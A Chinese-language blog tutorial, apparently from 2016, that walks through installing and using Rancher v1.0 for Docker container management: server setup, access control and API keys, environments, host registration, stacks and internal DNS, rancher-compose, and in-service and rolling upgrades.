之后，又一个可用于Production环境中的容器管理和服务编排工具，而Rancher恰似这个领域的最后一张拼图（请原谅我的孤陋寡闻，如 果有其他 厂商在做这方面产品，请在评论中留言告诉我）。从Rancher Labs的官方about中我们可以看到：Rancher Labs致力于为DevOps team打造一个最好的容器管理平台，让容器的部署和管理变得更加Easy。\n本文将带大家与Rancher来个亲密接触，直观的体会一下Rancher的入门级使用方法。\n注意：由于Rancher还在active development中，本文仅适用于刚刚发布的v1.0.0版本，包括：\nrancher/server:v1.0.0 rancher/agent:v0.11.0 rancher/agent-instance:v0.8.1 rancher-compose-v0.7.3 后续版本演进可能会导致本文中某些操作不再适用或某些UI元素发生变化。\n零、实验环境 这里继续使用之前文章中的两个Ubuntu 14.04主机环境(kernel版本 \u0026gt;= 3.16.7)，Docker 1.9.1+。\n其中：\nrancher server: 10.10.126.101 rancher agents: 10.10.126.101 10.10.105.71 10.10.105.72 一、搭建单节点Rancher Server Rancher的各种容器管理理念均架构在由Rancher server和rancher agent构建的Infrastructure之上。Rancher server是Rancher的核心，其地位就类似于k8s、Docker swarm或mesos中的master，提供核心容器管理服务以及API服务。作为正式版发布的Rancher v1.0.0支持HA(high available)的多节点rancher server集群，不过Install起来也的确复杂些，依赖的第三方组件也较多，什么MySQL、Redis、ZooKeeper等统统都要额外部署。由于是入门，这里就偷个赖儿，我们就搭建一个单节点的Rancher Server。\nRancher的一个设计理念是所有组件都Containerized（容器化），更有甚者Rancher Labs的另外一个产品RancherOS(地位类似于CoreOS，一款专门为运行容器而设计的Linux发行版)中所有系统服务都是 Dockerized的，这里的Rancher Server也不例外，极大的方便了我们的Install。\n下面我们就在126.101 host上安装一个Rancher server。\n首先，我们将rancher/server image pull到local，这个image size很大，需要耐心等待一段时间，即便是使用国内容器云厂商提供的加速器：\n$ docker pull rancher/server ... ... $ docker images REPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE rancher/server latest 26bce58807d1 22 hours ago 775.9 MB 接下来，启动rancher server：\n$ docker run -d --restart=always -p 8080:8080 rancher/server d8ce1654ff9f1d056d7cdc9216cf19173d85037bf23be44f802d627eabc8e607 $ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES d8ce1654ff9f rancher/server \u0026quot;/usr/bin/s6-svscan /\u0026quot; 12 seconds ago Up 8 seconds 3306/tcp, 0.0.0.0:8080-\u0026gt;8080/tcp agitated_ardinghelli 映射的8080端口既服务于Rancher UI，也是Rancher API的服务端口。用浏览器打开http://10.10.126.101:8080，如果你看到如下页面，则说明你的Rancher Server搭建成功了：\nRancher image size之所以大，是因为其内部安装和运行了诸多服务程序，我们来hack一下：\n$ docker exec d8ce1654ff9f ps aux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 188 4 ? Ss 03:50 0:00 /usr/bin/s6-svscan /service root 5 0.0 0.0 188 4 ? S 03:50 0:00 s6-supervise cattle root 6 0.0 0.0 188 4 ? S 03:50 0:00 s6-supervise mysql root 7 6.5 18.1 3808308 710284 ? Ssl 03:50 1:05 java -Xms128m -Xmx1024m -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/lib/cattle/logs -Dlogback.bootstrap.level=WARN -cp /usr/share/cattle/9283c067b6f96f5ff1e38fb0ddfd8649:/usr/share/cattle/9283c067b6f96f5ff1e38fb0ddfd8649/etc/cattle io.cattle.platform.launcher.Main mysql 28 0.4 2.3 2135756 92164 ? Ssl 03:50 0:04 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306 root 170 0.1 0.2 264632 11552 ? Sl 03:52 0:01 websocket-proxy root 179 0.0 0.2 274668 8632 ? Sl 03:52 0:00 rancher-catalog-service -catalogUrl library=https://github.com/rancher/rancher-catalog.git,community=https://github.com/rancher/community-catalog.git -refreshInterval 300 root 180 0.0 0.3 254044 12652 ? Sl 03:52 0:00 rancher-compose-executor root 181 0.5 0.4 1579572 16692 ? Sl 03:52 0:05 go-machine-service root 610 0.0 0.0 14988 2576 ? S 04:06 0:00 git -C ./DATA/library pull -r origin master root 611 0.0 0.0 4448 1696 ? S 04:06 0:00 /bin/sh /usr/lib/git-core/git-pull -r origin master root 640 0.0 0.0 15024 3020 ? S 04:06 0:00 git fetch --update-head-ok origin master root 641 3.0 0.1 161180 6028 ? S 04:06 0:00 git-remote-https origin https://github.com/rancher/rancher-catalog.git root 643 0.0 0.0 15572 2120 ? Rs 04:07 0:00 ps aux 可以看出里面有mysql、cattle、go-machine-service、rancher-compose-executor以及 websocket-proxy等。通过PID我们可以看出/usr/bin/s6-svscan是容器的第一个启动进程，/service这个 路径作为其命令行参数，估计这是一个类似于supervisord的进程控制程 序，由其 负责启动和管理Rancher server的两个重要服务：MySQL和cattle。注：单节点rancher server的数据都保存在其内部的MySQL中，而多节点rancher server则采用一个外部的MySQL存储数据。\n二、设置Account 第一次启动Rancher后，Rancher的UI是没有访问控制的，所有人都可以访问这个地址并控制一切。\n切换到API菜单，可以看到当前默认Environment（后续会详细说这个概念）的API访问endpoint是： http://10.10.126.101:8080/v1/projects/1a5\n我们可以用curl来访问一下这个url：\n$ curl http://10.10.126.101:8080/v1/projects/1a5 {\u0026quot;id\u0026quot;:\u0026quot;1a5\u0026quot;,\u0026quot;type\u0026quot;:\u0026quot;project\u0026quot;,\u0026quot;links\u0026quot;:{\u0026quot;self\u0026quot;:\u0026quot;http://10.10.126.101:8080/v1/projects/1a5\u0026quot;,\u0026quot;agents\u0026quot;:\u0026quot;http://10.10.126.101:8080/v1/projects/1a5/agents\u0026quot;,\u0026quot;auditLogs\u0026quot;:\u0026quot;http://10.10.126.101:8080/v1/projects/1a5/auditlogs\u0026quot;,\u0026quot;certificates\u0026quot;:\u0026quot;http://10.10.126.101:8080/v1/projects/1a5/certificates\u0026quot;, ... ... \u0026quot;swarm\u0026quot;:false,\u0026quot;transitioning\u0026quot;:\u0026quot;no\u0026quot;,\u0026quot;transitioningMessage\u0026quot;:null,\u0026quot;transitioningProgress\u0026quot;:null,\u0026quot;uuid\u0026quot;:\u0026quot;adminProject\u0026quot;} 返回超过一屏的信息，这同时也说明Rancher Server在正常工作。\n在正式感受Rancher功能前，我们来给Rancher添加一个Account，相信这也是所有要在生产环境使用Rancher的朋友必须要做 的事情。\n在Rancher UI中，也许你已经注意到了，在第一行菜单栏中，“ADMIN”菜单项右侧有一个红色的“!”，这也是在提醒你Rancher当前未设防。我们点击 “ADMIN”，选择出现的二级菜单中的”ACCOUNTS”菜单项，我们将看到如下页面：\n添加权限控制，需要在【”ADMIN” -\u0026gt; “ACCESS CONTROL”】中。Rancher支持四种权限控制方案，分别是：Active Directory、GitHub、Local Auth和OpenLDAP。我们使用最简单的Local Auth，即设置一个用户名和密码，然后点击“Enable Local Auth”按钮即可。然后我们再回到”ACCOUNTS”页面：\n可以看到我们已经建立了一个新的Admin权限的账号：tonybai。当前的登录账号也换成了tonybai。\n这时如果你再用API访问当前默认环境的EndPoint的话，结果就会变成下面这样：\ncurl http://10.10.126.101:8080/v1/projects/1a5 {\u0026quot;id\u0026quot;:\u0026quot;b052db07-d58e-45bf-872e-06ced8bcc4e1\u0026quot;,\u0026quot;type\u0026quot;:\u0026quot;error\u0026quot;,\u0026quot;links\u0026quot;:{},\u0026quot;actions\u0026quot;:{},\u0026quot;status\u0026quot;:401,\u0026quot;code\u0026quot;:\u0026quot;Unauthorized\u0026quot;,\u0026quot;message\u0026quot;:\u0026quot;Unauthorized\u0026quot;,\u0026quot;detail\u0026quot;:null} 提示错误：Unauthorized\n这时如果还想用API访问，就需要为该环境添加一个API Key了。在”API”页面下，点击 “Add Environment API Key”按钮，在弹出的窗口中输入key的name：tonybai-default-env-key，点击”Create”创建：\nRancher会随机生成一对access key和secret key，即user和password，使用它们即可通过API访问该环境，注意：secret key只显示这么一次，你需要手工将其记录下来，否则一旦关闭这个窗口，就无法再找到secret key的内容了，只能再重新生成一对。\n$curl -u 5569108BE7489DEE47A5:76Yw5v63ag8SdKYQDYgVok7Co6HRncU7bUCEShXh http://10.10.126.101:8080/v1/projects/1a5 {\u0026quot;id\u0026quot;:\u0026quot;1a5\u0026quot;,\u0026quot;type\u0026quot;:\u0026quot;project\u0026quot;,\u0026quot;links\u0026quot;:{\u0026quot;self\u0026quot;:\u0026quot;http://10.10.126.101:8080/v1/projects/1a5\u0026quot;,\u0026quot;agents\u0026quot;:\u0026quot;http://10.10.126.101:8080/v1/projects/1a5/agents\u0026quot;,\u0026quot;auditLogs\u0026quot;:\u0026quot;http://10.10.126.101:8080/v1/projects/1a5/auditlogs\u0026quot;,\u0026quot;certificates\u0026quot;:\u0026quot;http://10.10.126.101:8080/v1/projects/1a5/certificates\u0026quot;, ... ... \u0026quot;swarm\u0026quot;:false,\u0026quot;transitioning\u0026quot;:\u0026quot;no\u0026quot;,\u0026quot;transitioningMessage\u0026quot;:null,\u0026quot;transitioningProgress\u0026quot;:null,\u0026quot;uuid\u0026quot;:\u0026quot;adminProject\u0026quot;} 三、Environment 前面说过，Rancher中有个概念是Environment。在Rancher UI的右上角，我们可以看到”Default Enviromnet”字样，点击向下箭头，打开下拉菜单，选择：“Manage Enviromnets”，可以看到当前的Enviroments列表：\n在这个页面，我们可以看到Rancher对Enviroments的诠释：\nRancher supports grouping resources into multiple environments. Each one gets its own set of services and infrastructure resources, and is owned by one or more GitHub users, teams or organizations. For example, you might create separate \u0026quot;dev\u0026quot;, \u0026quot;test\u0026quot;, and \u0026quot;production\u0026quot; environments to keep things isolated from each other, and give \u0026quot;dev\u0026quot; access to your entire organization but restrict the \u0026quot;production\u0026quot; environment to a smaller team. 大致意思就是一个Environment就是一个resource group，每个Environment都有自己的服务和基础设施资源，并且通过Access Control来赋予每个Account访问该Environments的权限。Rancher Labs的一个目标就是为DevOps Team打造一个Easy的容器管理工具，因此在解释Environment术语时，还特地以DevOps Workflow来解释，比如建立dev、test、production environment，保证Environments间的隔离。下面的这幅图可能会更直观的展现出Environment在Rancher中的“角 色”：\nRancher Server建立后，会建立一个”Default” Environment，我们可以Edit一下这个Environment的信息，可以修改它的Name、Container Orchestration引擎（cattle、k8s和swarm，默认cattle）以及Access Control，我们看到tonybai的用户是这个Environment的Owner，当然我们也可以修改tonybai这个用户的Role，比如 member、readonly或restricted。这里我们将Default的名字改为”dev”。\n我们再添加一个Environment “test”，引擎用cattle:\n我们看到dev environment后面有一个”对号”，说明dev environment是当前active environment，所有操作均针对该environment，你当然可以通过点击每个environment列表后面的切换图标来切换active environment。\n到目前为止，虽然Rancher Server建立ok了，environment这个逻辑实体也建立了，但dev environment仍处于“无米下炊”的状态。因为除了Rancher自身外，该Environment下没有任何Resources（主机、存储 等）可供使用（比如创建Containers）。\n我们来为dev environment添加两个主机资源：10.10.126.101和10.10.105.72。在”INFRASTRUCTURE”-\u0026gt; HOSTS中点击”Add Host”按钮添加主机资源。Rancher支持多种主机资源，包括Custom（本地自定义）、Amazon EC2、 Azure 以及 DigitalOcean 等。\n我们以本地Host资源(选择Custom)为例，在添加Host页面中，我们输入第一个Host的IP，Rancher UI会生成下面这段命令行：\nsudo docker run -e CATTLE_AGENT_IP='10.10.126.101' -d --privileged -v /var/run/docker.sock:/var/run/docker.sock -v /var/lib/rancher:/var/lib/rancher rancher/agent:v0.11.0 http://10.10.126.101:8080/v1/scripts/B0C997705263867F519F:1460440800000:1Rd9TyJIS2Fnae5lcjsvnIRDJE 我们需要手动在10.10.126.101这个Host上执行上述命令行：\n$ sudo docker run -e CATTLE_AGENT_IP='10.10.126.101' -d --privileged -v /var/run/docker.sock:/var/run/docker.sock -v /var/lib/rancher:/var/lib/rancher rancher/agent:v0.11.0 http://10.10.126.101:8080/v1/scripts/B0C997705263867F519F:1460440800000:1Rd9TyJIS2Fnae5lcjsvnIRDJE 2d05764d42c52b1449021766a5c0e104098605cd7d53b632571c46f1e84f2a4b $ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 2d05764d42c5 rancher/agent:v0.11.0 \u0026quot;/run.sh http://10.10\u0026quot; 27 seconds ago Up 22 seconds big_bhabha d8ce1654ff9f rancher/server \u0026quot;/usr/bin/s6-svscan /\u0026quot; 4 days ago Up 4 days 0.0.0.0:8080-\u0026gt;8080/tcp, 3306/tcp agitated_ardinghelli 等待一会儿，我们刷新一下”INFRASTRUCTURE”-\u0026gt; HOSTS页面，我们会看到10.10.126.101这个Host被加入到dev environment的Infrastructure中了：\n按照同样的步骤，我们再将10.10.105.72加入到Infrastructure中：\n$ sudo docker run -e CATTLE_AGENT_IP='10.10.105.72' -d --privileged -v /var/run/docker.sock:/var/run/docker.sock -v /var/lib/rancher:/var/lib/rancher rancher/agent:v0.11.0 http://10.10.126.101:8080/v1/scripts/B0C997705263867F519F:1460440800000:1Rd9TyJIS2Fnae5lcjsvnIRDJE e1f335c665853348810aef8736c67f610ae7f4c93e4b6265361b95a354af434a $docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 2e212fda35d3 rancher/agent:v0.11.0 \u0026quot;/run.sh inspect-host\u0026quot; 23 seconds ago Up Less than a second trusting_noyce e1f335c66585 rancher/agent:v0.11.0 \u0026quot;/run.sh http://10.10\u0026quot; 39 seconds ago Up 23 seconds clever_bohr 我们注意到：上面的命令启动了两个Container，image虽然都是rancher/agent:v0.11.0，但执行的命令行参数略有 不同（其中一个Container为临时Container，一段时间后会自动退出）。片刻，我们就在Hosts下看到了两个Host资源了。\n我们点击Rancher UI右上角的下拉箭头，将当前Environment从dev切换到test，我们发现test Environment下的Hosts又为空了（不过此处似乎有个bug，在我的Mac Chrome浏览器中，等的时间足够久后，似乎test environment把dev enviroment的Host资源显示出来了，很怪异）。可以看出Infra是Environment相关的。我们在test环境下增加一个 10.10.105.71 host：\n$ sudo docker run -e CATTLE_AGENT_IP='10.10.105.71' -d --privileged -v /var/run/docker.sock:/var/run/docker.sock -v /var/lib/rancher:/var/lib/rancher rancher/agent:v0.11.0 http://10.10.126.101:8080/v1/scripts/A63B9C5F8066E29377C3:1460448000000:UbPcmDXOqoI6mls6e75Qp17QR0 4a5f9e13615e562636cd515763e293449607a8b2d827d2599f80f9ad8f16aa2d $ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES d101095c7709 rancher/agent:v0.11.0 \u0026quot;/run.sh run\u0026quot; 6 seconds ago Up Less than a second rancher-agent 4a5f9e13615e rancher/agent:v0.11.0 \u0026quot;/run.sh http://10.10\u0026quot; About a minute ago Up About a minute evil_khorana 到这里，test Environment下也有了一个Host了，从Rancher UI页面可以看到。\n四、Stack Rancher UI的左上角APPLICATIONS下面有一个“STACKS”的二级菜单项。Rancher官方docs对Stack的解释是：”A Rancher stack mirrors the same concept as a docker-compose project. It represents a group of services that make up a typical application or workload.”。同时Rancher UI上关于Service的解释如下：“A service is simply a group of containers created from the same Docker image but extends Docker’s “link” concept to leverage Rancher’s lightweight distributed DNS service for service discovery”。从这两段描述中，我们大致可以推出如下关系：\nA Stack \u0026lt;=\u0026gt; An Application \u0026lt;=\u0026gt; A group of services(由类docker-compose的工具rancher-compose管理) 下面这幅图直观描述了user account, environment与stacks之间的关系：\n我们在dev environment下添加一个Service。Rancher UI “APPLICATIONS” -\u0026gt; “STACKS”下面支持两种添加Service的方式，一种是手工添加，一种是从Catalog添加。Catalog类似于一个Rancher App Market，里面有Rancher预定义好的service template。我们这次采用手工添加的方式，便于控制。我们基于nginx:1.8-alpine创建单一实例的service: nginx-alpine-service，端口映射：10086-\u0026gt;80。其他采用默认配置。添加Service时，并没有位置让你为Stack 起名，但添加一个Service后，我们会看到当前Stack是Default Stack，你可以修改Stack name，这里改为nginx-app-stack。启动后，我们看到第一个nginx-alpine-service的Container运行在 105.72上。\n点击stack名字，可以查看stack的详细信息：\n点击”nginx-alpine-service”，进入到service属性页面，我们将nginx-alpine-service的 Scale +1。Rancher会自动在Resource host上根据默认调度策略，运行一个新的基于nginx image的Container。我们可以看到这个新Container运行在126.101上，这样dev Environmnet中的两个Host上就各自运行了一个nginx-alpine-service的Container：\nnginx-alpine-service的两个容器分别为：\nRunning Default_nginx-alpine-app_1 10.42.96.91 10.10.105.72 nginx:1.8-alpine Running nginx-app-stack_nginx-alpine-service_1 10.42.164.174 10.10.126.101 nginx:1.8-alpine Rancher内置“Internal DNS Services”，同一Stack下的Container可以通过Container name相互ping通。Rancher以Environment为界限，每个Environment下的Container name都是全局唯一的。\n在10.10.105.72上，我们执行如下命令来ping 10.10.126.101上的容器：nginx-app-stack_nginx-alpine-service_1：\n$ docker exec r-Default_nginx-alpine-app_1 ping -c 3 nginx-app-stack_nginx-alpine-service_1 PING nginx-app-stack_nginx-alpine-service_1 (10.42.164.174): 56 data bytes 64 bytes from 10.42.164.174: seq=0 ttl=62 time=0.729 ms 64 bytes from 10.42.164.174: seq=1 ttl=62 time=0.754 ms 64 bytes from 10.42.164.174: seq=2 ttl=62 time=0.657 ms --- nginx-app-stack_nginx-alpine-service_1 ping statistics --- 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max = 0.657/0.713/0.754 ms 在10.10.126.101上，我们执行如下命令来ping 10.10.105.72上的容器：Default_nginx-alpine-app_1：\n$ docker exec r-nginx-app-stack_nginx-alpine-service_1 ping -c 3 Default_nginx-alpine-app_1 PING Default_nginx-alpine-app_1 (10.42.96.91): 56 data bytes 64 bytes from 10.42.96.91: seq=0 ttl=62 time=0.640 ms 64 bytes from 10.42.96.91: seq=1 ttl=62 time=0.814 ms 64 bytes from 10.42.96.91: seq=2 ttl=62 time=0.902 ms --- Default_nginx-alpine-app_1 ping statistics --- 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max = 0.640/0.785/0.902 ms 我们按照上述方法为nginx-app-stack再添加一个Service: redis-alpine-service，该service基于redis:alpine image，该service的Container被运行在105.72上了：\n$ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 7246dce88ea6 redis:alpine \u0026quot;/entrypoint.sh redis\u0026quot; 3 minutes ago Up 3 minutes 6379/tcp r-nginx-app-stack_redis-service_1 我们来测试一下同一stack下，不同Service的互ping：\n我们在redis-alpine-service的Container中来ping nginx-alpine-service，地址直接使用”nginx-alpine-service”这个service name即可：\n$ docker exec r-nginx-app-stack_redis-service_1 ping -c 3 nginx-alpine-service PING nginx-alpine-service (10.42.164.174): 56 data bytes 64 bytes from 10.42.164.174: seq=0 ttl=62 time=0.660 ms 64 bytes from 10.42.164.174: seq=1 ttl=62 time=0.634 ms 64 bytes from 10.42.164.174: seq=2 ttl=62 time=0.599 ms --- nginx-alpine-service ping statistics --- 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max = 0.599/0.631/0.660 ms 可以看到Rancher的Internal DNS Service将”nginx-alpine-service”这个service name解析为nginx-alpine-service的两个Container中的一个：10.42.164.174。\n我们再添加一个Stack：memcached-app-stack，来看一下跨Stack的容器连通方法。ping之前我们需要为该Stack添加一个基于memcached:latest image的Service: memcached-service\n10.10.105.72 $ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 184e8e8f448e memcached:latest \u0026quot;/entrypoint.sh memca\u0026quot; 24 seconds ago Up 16 seconds 11211/tcp r-memcached-app-stack_memcached-service_1 Rancher官方docs中明确说明：不同Stack间service互ping，需要采用“ service_name.stack_name”的地址格式，我们在memcached-app-stack中的“r-memcached-app-stack_memcached-service_1”容器里去ping nginx-app-stack中的nginx-alpine-service服务：\n$ docker exec r-memcached-app-stack_memcached-service_1 ping -c 3 nginx-alpine-service.nginx-app-stack PING nginx-alpine-service.nginx-app-stack (10.42.164.174): 56 data bytes 64 bytes from 10.42.164.174: icmp_seq=0 ttl=62 time=0.710 ms 92 bytes from 10.42.84.96: Redirect Host 64 bytes from 10.42.164.174: icmp_seq=1 ttl=62 time=2.543 ms --- nginx-alpine-service.nginx-app-stack ping statistics --- 2 packets transmitted, 2 packets received, 0% packet loss round-trip min/avg/max/stddev = 0.710/1.627/2.543/0.917 ms ping nginx-app-stack中的redis-alpine-service服务：\n$ docker exec r-memcached-app-stack_memcached-service_1 ping -c 3 redis-alpine-service.nginx-app-stack PING redis-alpine-service.nginx-app-stack (10.42.220.43): 56 data bytes 64 bytes from 10.42.220.43: icmp_seq=0 ttl=64 time=0.161 ms 64 bytes from 10.42.220.43: icmp_seq=1 ttl=64 time=0.050 ms 64 bytes from 10.42.220.43: icmp_seq=2 ttl=64 time=0.051 ms --- redis-alpine-service.nginx-app-stack ping statistics --- 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max/stddev = 0.050/0.087/0.161/0.052 ms 我们通过cat /etc/resolv.conf可以查看到Rancher内部DNS的地址：\n$docker exec r-memcached-app-stack_memcached-service_1 cat /etc/resolv.conf search memcached-app-stack.rancher.internal memcached-service.memcached-app-stack.rancher.internal rancher.internal nameserver 169.254.169.250 五、Rancher Compose CLI Rancher除了提供UI工具外，还提供了一个名为rancher-compose的CLI工具，用于在一个stack的范围内管理各个services。rancher-compose的灵感来源于docker-compose，兼容docker-compose的配置文件格式，并有自己的扩展。此外与docker-compose不同的是rancher-compose支持跨多主机管理。\n在Rancher UI的右下角有一个Rancher-compose的下载链接，支持Linux，Windows和Mac。rancher-compose当前版本是0.7.3，下载后将其路径放到PATH环境变量里，验证一下运行是否ok：\n$ rancher-compose -v rancher-compose version v0.7.3 要管理某个stack下的Service，我们至少需要提供一个docker-compose.yml文件，这里针对memcached-app-stack下的memcached-service这个服务做一些操作，我们提供一个docker-compose.yml：\nmemcached-service: log_driver: '' tty: true log_opt: {} image: memcached:latest stdin_open: true 利用dev环境的api key和secret，rancher-compose可以实现与rancher的交互：\n$ rancher-compose --url http://10.10.126.101:8080 --access-key 5569108BE7489DEE47A5 --secret-key 76Yw5v63ag8SdKYQDYgVok7Co6HRncU7bUCEShXh -p memcached-app-stack up INFO[0000] Project [memcached-app-stack]: Starting project INFO[0000] [0/1] [memcached-service]: Starting INFO[0000] [1/1] [memcached-service]: Started INFO[0000] Project [memcached-app-stack]: Project started 由于memcached-service已经存在并启动了相应Container，因此上面的命令实际上没有做任何改动。如果想看rancher-compose的执行细节，可以在rancher-compose后面加上–verbose命令行option，可以看到如下结果：\n$ rancher-compose --verbose --url http://10.10.126.101:8080 --access-key 5569108BE7489DEE47A5 --secret-key 76Yw5v63ag8SdKYQDYgVok7Co6HRncU7bUCEShXh -p memcached-app-stack up DEBU[0000] Environment Context from file : map[] DEBU[0000] Opening compose file: docker-compose.yml DEBU[0000] [0/0] [memcached-service]: Adding DEBU[0000] Opening rancher-compose file: /home1/tonybai/rancher-compose.yml DEBU[0000] Looking for stack memcached-app-stack DEBU[0000] Found stack: memcached-app-stack(1e3) DEBU[0000] Launching action for memcached-service DEBU[0000] Project [memcached-app-stack]: Creating project DEBU[0000] Finding service memcached-service DEBU[0000] [0/1] [memcached-service]: Creating DEBU[0000] Found service memcached-service DEBU[0000] [0/1] [memcached-service]: Created DEBU[0000] Project [memcached-app-stack]: Project created INFO[0000] Project [memcached-app-stack]: Starting project DEBU[0000] Launching action for memcached-service DEBU[0000] Finding service memcached-service INFO[0000] [0/1] [memcached-service]: Starting DEBU[0000] Found service memcached-service DEBU[0000] Finding service memcached-service INFO[0000] [1/1] [memcached-service]: Started INFO[0000] Project [memcached-app-stack]: Project started DEBU[0000] Found service memcached-service DEBU[0000] Finding service memcached-service DEBU[0000] Found service memcached-service 我们再通过rancher-compose将memcached-service扩展到两个Container：\n$ rancher-compose --url http://10.10.126.101:8080 --access-key 5569108BE7489DEE47A5 --secret-key 76Yw5v63ag8SdKYQDYgVok7Co6HRncU7bUCEShXh -p memcached-app-stack scale memcached-service=2 INFO[0000] Setting scale memcached-service=2... 几秒后，Rancher UI上memcached-service的Container数量就会从1变为2。在105.72上我们也可以看到两个memcached service container：\n$ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 43c1443fec9f memcached:latest \u0026quot;/entrypoint.sh memca\u0026quot; 8 minutes ago Up 7 minutes 11211/tcp r-memcached-app-stack_memcached-service_2 184e8e8f448e memcached:latest \u0026quot;/entrypoint.sh memca\u0026quot; 14 hours ago Up 13 hours 11211/tcp r-memcached-app-stack_memcached-service_1 六、Service upgrade Rancher支持stack中Service的upgrade管理。Rancher提供了两种Service Upgrade方法：In-service upgrade和Rolling upgrade（滚动升级）。rancher-compose同时支持两种升级方法，Rancher UI中针对stack下的service也有upgrade菜单选项，但UI提供的升级方式等同于in-service upgrade。\n根据官方docs的说明，In-Service upgrade的默认upgrade步骤大致是：\n1、停掉existing service的containers； 2、等待interval时间； 3、启动new version service的containers； 4、confirm upgrade or rollback。 而Rolling upgrade的升级步骤则是：\n1、启动new service ； 2、将old service的scale降为0。 下面我们就每种method分别举一个例子说明一下（均采用rancher-compose工具）。\n1、In-Service Upgrade 我们来将dev Environment下nginx-app-stack的nginx-alpine-service从nginx:1.8-alpine升级到nginx:1.9-alpine。为此我们需要给rancher-compose提供一份升级后的service的docker-compose.yml文件：\n//docker-compose-nginx-service-upgrade.yml nginx-alpine-service: ports: - 10086:80/tcp log_driver: '' labels: io.rancher.container.start_once: 'true' tty: true log_opt: {} image: nginx:1.9-alpine stdin_open: true 可以看到我们仅是将nginx-alpine-service的image从1.8-alpine改为1.9-alpine了。接下来我们就来升级nginx-alpine-service：\n$ rancher-compose -f ./docker-compose-nginx-service-upgrade.yml --url http://10.10.126.101:8080 --access-key 5569108BE7489DEE47A5 --secret-key 76Yw5v63ag8SdKYQDYgVok7Co6HRncU7bUCEShXh -p nginx-app-stack up --upgrade nginx-alpine-service INFO[0000] Project [nginx-app-stack]: Starting project INFO[0000] [0/1] [nginx-alpine-service]: Starting INFO[0000] Updating nginx-alpine-service INFO[0001] Upgrading nginx-alpine-service INFO[0056] [1/1] [nginx-alpine-service]: Started INFO[0056] Project [nginx-app-stack]: Project started 我们通过Rancher UI可以看到upgrade执行在界面上体现出来的变化：\nUpgrade后，nginx-alpine-service的详细信息如下：\n我们来Confirm一下：\n$ rancher-compose -f ./docker-compose-nginx-service-upgrade.yml --url http://10.10.126.101:8080 --access-key 5569108BE7489DEE47A5 --secret-key 76Yw5v63ag8SYQDYgVok7Co6HRncU7bUCEShXh -p nginx-app-stack up --upgrade --confirm-upgrade INFO[0000] Project [nginx-app-stack]: Starting project INFO[0000] [0/1] [nginx-alpine-service]: Starting INFO[0001] [1/1] [nginx-alpine-service]: Started INFO[0001] Project [nginx-app-stack]: Project started ERRO[0002] Failed to get logs for Default_nginx-alpine-app_1: Failed to find action: logs ERRO[0002] Failed to get logs for nginx-app-stack_nginx-alpine-service_1: Failed to find action: logs Confirm后，Rancher UI上的upgrade标记不见了，两个没有running的old版本 container也被cleanup了。confirm时出现两个ERRO，不知何原因，但问题不大，没有影响到confirm结果。\n2、Rolling Upgrade 与In-service upgrade服务中断不同，Rolling Upgrade会先启动new Service，然后再逐渐将old service的scale减少到0。这种情况下，如果其他服务配合到位，该服务是不会中断的。\n我们以nginx-app-stack中的redis-alpine-service为例，将其从redis:alpine版本升级到3.0.7-alpine。\n$docker images redis 3.0.7-alpine 633ba621a23f 6 weeks ago 15.95 MB redis alpine 633ba621a23f 6 weeks ago 15.95 MB ... ... 我们同样要为这次Roll upgrade准备一份docker-compose.yml文件：\n//docker-compose-redis-service-upgrade.yml redis-alpine-service: redis-alpine-service-v1: log_driver: '' tty: true log_opt: {} image: redis:3.0.7-alpine stdin_open: true 执行Rolling upgrade命令：\n$rancher-compose -f ./docker-compose-redis-service-upgrade.yml --url http://10.10.126.101:8080 --access-key 5569108BE7489DEE47A5 --secret-key 76Yw5v63ag8SdKYQDYgVok7Co6HRncU7bUCEShXh -p nginx-app-stack upgrade redis-alpine-service redis-alpine-service-v1 INFO[0000] Creating service redis-alpine-service-v1 INFO[0005] Upgrading redis-alpine-service to redis-alpine-service-v1, scale=2 Rancher UI上出现如下状态变化：\n最终redis-alpine-service-v1启动，redis-alpine-service停止，但Rancher UI并未将其Remove，你可以手动删除，或者在上面命令中加入–cleanup自动删除old service。\n七、参考资料 关于Rancher，网上可用的资料并不多，这里主要是参考了官方文档：\nhttp://rancher.com/announcing-rancher-1-0-ga/ http://docs.rancher.com/rancher/quick-start-guide/ 不过Rancher的Doc文字太多，少图，尤其是在Rancher UI介绍这块，基本无图，还待改善。\n另外国内的云舒网络与 Rancher Labs是深度的合作伙伴，云舒公司博客上的内容也值得大家认真参考。\n八、小结 相比于Mesos、Kubernetes和Swarm这三位欧巴，Rancher还最为年轻(至少从发布时间上来看是这样的)，也刚刚起步。而这个领域的激烈的竞争也才刚刚开始。 谁能笑道最后，还待观察。\n","permalink":"https://tonybai.com/2016/04/14/an-introduction-about-rancher/","summary":"\u003cp\u003e上个月末，\u003ca href=\"http://rancher.com/\"\u003eRancher Labs\u003c/a\u003e在其官方博客上宣布了 \u003ca href=\"http://rancher.com/announcing-rancher-1-0-ga/\"\u003eRancher 1.0正式版本发布\u003c/a\u003e。 这是继\u003ca href=\"http://mesos.apache.org/\"\u003eApache Mesos\u003c/a\u003e、 \u003ca href=\"http://kubernetes.io/\"\u003eGoogle Kubernetes\u003c/a\u003e以及\u003ca href=\"https://www.docker.com/\"\u003eDocker\u003c/a\u003e 原生 \u003ca href=\"https://github.com/docker/swarm\"\u003eSwarm\u003c/a\u003e 之后，又一个可用于Production环境中的容器管理和服务编排工具，而Rancher恰似这个领域的最后一张拼图（请原谅我的孤陋寡闻，如 果有其他 厂商在做这方面产品，请在评论中留言告诉我）。从Rancher 